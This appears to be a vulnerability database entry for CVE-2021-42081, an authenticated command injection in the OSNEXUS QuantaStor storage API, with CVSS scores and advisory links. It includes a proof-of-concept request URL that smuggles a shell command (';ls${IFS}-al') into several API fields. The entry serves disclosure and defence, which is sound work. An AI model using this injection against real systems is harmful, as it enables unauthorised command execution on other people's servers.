CVE-2021-42081

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.

POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
OS Command Injection
ProviderTypeBase ScoreAtk. VectorAtk. ComplexityPriv. RequiredVector
NISTNIST
9.1 CRITICAL
NETWORK
LOW
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
DIVDCNA
9.1 CRITICAL
NETWORK
LOW
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CVEADP
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CISA-ADPADP
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Base Score
CVSS 3.x
EPSS Score
Percentile: 26%
VendorProductVersion
osnexusquantastor
𝑥
< 6.0.0.355
𝑥
= Vulnerable software versions
Common Weakness Enumeration
References
https://csirt.divd.nl/CVE-2021-42081
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus
https://csirt.divd.nl/CVE-2021-42081
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus